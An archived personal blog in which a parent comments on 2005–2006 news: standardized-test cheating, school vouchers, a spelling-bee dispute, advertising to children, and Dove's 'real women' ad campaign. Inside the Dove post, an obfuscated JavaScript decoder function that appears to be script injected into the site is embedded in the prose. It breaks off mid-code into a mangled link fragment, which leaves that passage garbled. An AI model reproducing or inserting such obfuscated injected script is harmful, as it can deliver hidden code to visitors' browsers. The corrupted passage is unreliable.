spectating participant

March 28, 2006

Pair of Teachers said to cheat on MSA

Filed under: review, news — suzanne henderson @ 11:25 am

Pair of Carroll County Teachers said to cheat on MSA - baltimoresun.com

What a clear indication of that these standardized test scores mean — too high a value placed on scores than on teaching. Alex’s school spent a week going over strategies and practice problems before the MSA at her school. Is this what school should be about? No. Also, they now have a double period of math and reading to make up for the reduced scores last year. Math and reading will soon be the only thing our children are taught and taught in such a way that it is almost useless beyond the testing environment. The real world doesn’t give you multiple choice options for actions, it doesn’t care if you can follow the standardized format for responding to questions. It wants critical thinking, analytical skills, and a real ability to write. Placing cookie cutter strategies designed for a specific test will not prepare our children for anything more than paper based test problems.

February 15, 2006

JS Online:What you need to know on vouchers

Filed under: review, news — suzanne henderson @ 12:20 pm

JS Online:What you need to know on vouchers

Milwaukee’s voucher program is an endless source of controversy. I remember when people were arguing about the validity of it and there were threats of it making its way to the supreme court to validate it. At that time, there was a big push to keep it out of the courts because that would open up a floodgates of simmilar programs in other states and many people did not want that to happen.

I must say that I am torn on the issue. I see the advantage of vouchers for low-income families that want their children to get a private eduction but cannot afford it. I deperately want to enroll my daughter in a school with values that I find important. Unfortunately, that means I would have to put her in private schools because public schools offer a limited scope of education and are so restricted by the [No Child Left Behind] act that all they can do now is teach for tests in order to stay funded. Now, there is a disconnect in the voucher and private school success idea. Private schools don’t have to report their scores or any information and there have been several cases in Milwaukee where schools sprung up in response to the voucher program and were doing nothing positive for the students.

So, how do you make this program work? If your using state funds to private schools don’t those schools have to show they are truly focused on the education of children? But, if you require them to show results, are you just placing another institution under Bush’s chains of reporting and then going to stamp out all of the education benefits a private school can offer?

I have a hard time supporting private schools because i’ve always felt that parents need to put their energies into making public schools better. But, our government is taking that ability out of our hands, just as many parents are placing that responsibility into someone else’s hands, and public schools are losing at an astounding rate. Does anyone think that our teachers in public schools think that what they are doing, the curriculum they are forced to use, is helping out students? It isn’t and I am glad that my daughter attends a school that doesn’t sugar coat their requirements and motives and that will speak to the fact that the curriculum and expectations placed on the classroom is not the best policy. But, it is hard to avoid feeling overwhelmed when it seems that our power as parents and community members is being removed and abandoned and government (at the hands of Bush, no less) is taking up the slack and leaving every child behind.

February 10, 2006

Teacher guilty in mock hanging

Filed under: review, news — suzanne henderson @ 7:08 pm

Teacher guilty in mock hanging

Okay, so we go from false negatives in spelling bees to imitation hangings in second grade classrooms? I just don’t know what to say about that.

Bad call by judge spells trouble for girl at bee

Filed under: review, news — suzanne henderson @ 7:03 pm

Bad call by judge spells trouble for girl at bee

Okay, I understand about being annoyed that your child spelled something right and was judged wrong. BUT, to go home and then complain and expect some time-reversing action to take place just because no one else in attendance was astute enough to realize she’d spelled it right is a bit absurd. Really, if she spelled it right, then it should have been recognized at the event. Maybe it wouldn’t be done by the next round of words, but at least before everyone went home. And then to throw out that all-american-threat of going to court? Come off it.

February 7, 2006

Blogging is altering the real estate landscape

Filed under: review, news — suzanne henderson @ 9:32 am

Blogging is altering the real estate landscape - Jan. 19, 2006

this isn’t all that surprising seeing as how blogs have had a pretty interesting influence of most markets. I’m tossing it up here so that I can go back and look at a few of the blogs mentioned and see if there are any worth reading.

February 5, 2006

Group Offers $300,000 For Preschool Education

Filed under: review, news — suzanne henderson @ 7:41 pm

Group Offers $300,000 For Preschool Education

Early childhood education is starting to be noticed. Yes, a good start early in life is important to school success. Companies are recognizing the importance of quality programs for a group that is often overlooked. And, the forward thinking of this, in the sense that they are investing in a workforce that will not appear for many more years, is quite impressive. Of course, education is a holistic system and as easy as it is to set off on the right foot it is easy to start slipping downhill if the momentum is not maintained through a child’s entire educational career. Overall, an encouraging initiative and step in an improvement direction.

Time to kick kid ads in the square pants

Filed under: review, news — suzanne henderson @ 7:32 pm

New York Daily News - Ideas & Opinions - Lenore Skenazy: Time to kick kid ads in the square pants

It is encouraging to see more and more articles and news coverage like this. There have been consumer and government groups concerned about advertising to children for some time now, but maybe we are actually getting to the point that something will begin to happen.

I’m always so torn by all of the topics that I am interested in. I think it is about time to pick a platform or issue and pursue it instead of just dabbling interests in a vast range of topics. However, i would say that nutrition and diet have been a big interest of late from adults to children. Oh, but how does this tie to my goals of pursuing education research? So much to be concerned about and so little time to devote to it.

40 MPH or 30 MPH?

Filed under: news — suzanne henderson @ 5:26 pm

ad-awards.com - International advertising awards : Department for Transport __ Abbott Mead Vickers BBDO

The non-profit ads have some very powerful messages. This one was quite simple and certainly made me think!

July 23, 2005

Dove’s campaign for beauty

Filed under: news — suzanne henderson @ 9:32 am

Dove’s Campaign for Beauty is a series of ads featuring “real women” with real curves. A new marketing strategy also aimed at increasing women’s self esteem and responding to women’s requests that companies start featuring realistic women in their ads. They used six women, none of them models, to pose for their newest campaign and it seems to cause a great bit of stir. However, it seems that some people, a lot of people, don’t feel that real women should be advertised as beautiful. For them, air brushed super models are the only way to go, regardless of how unrealistically attainable their beauty is or of the negative social implications that it places on young women, teenagers, and preteens.

In Dove ad campaign a real knockout , a Chicago Sun-Times report states:

One word comes to mind when I see those Dove ads — disturbing. And disturbing quickly morphs into frightening when I see the ad while waiting for the L at the Merchandise Mart. There — in all of their 4-foot-high glory — are the ladies of Dove more lifelike than I’d like to see in my advertising.

Really, the only time I want to see a thigh that big is in a bucket with bread crumbs on it (rim shot here).

I seems a few other fellow reporters at the Chicago Sun-Times also jumped on the bandwagon, screaming out their distaste of “disturbing” ads by Dove. It looks like there are people out there ready to call them on it too:

function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndanderthal_was_considered_a_turn_on.php”>The Chicagoist take on the Sun-Times writers:

Excuse us, but what the fuck gentlemen? Did a woman with a little junk in her trunk break your hearts? What the hell is it to you if a company uses women who have a tummy to sell their product in their underwear? It isn’t that Chicagoist thinks we should each subscribe to some carbon-copied ideal of what is considered beautiful—what melts your butter is what melts your butter, after all.

But that’s not what this is about. This is about your use of the words “unsettling” and “disturbing” followed by other choice terms such as “chunky.” This is about you three excusing yourselves for your ignorance with some lazy argument centering on you just being “a man.”

The ads are causing a stir in the media but they are also causing a stir among women. There is the complaint and recognition that dove is using this campaign to sell yet another fat-product, “firming cream”. Who buys this stuff? While I applaud the use of real women with real curves, because I like to applaud my own every now and then, I still know that beauty companies still have their bottom line in mind. Even while graciously promoting the boosting of self-esteem of women, it is still a mixed message when it is a product the reminds us that while we should feel more comfortable in our skins, it still isn’t good enough.

Aww, beauty and the media, something that will probably never go hand in hand, because it is in the eye of the beholder and our society has a long way to go to reverse the guerrilla marketing that has forced wafer thin models into our definition of beauty. And, as the country fights the ever increase battle of weight and obseity, it may never happen. When so many people are making new belt holes, that impossible ideal will probably grow stronger and further enforce those expanding waist lines, because, if size 1 is what it takes to be beautiful, why bother trying to lose weight if you know you’ll never look that good?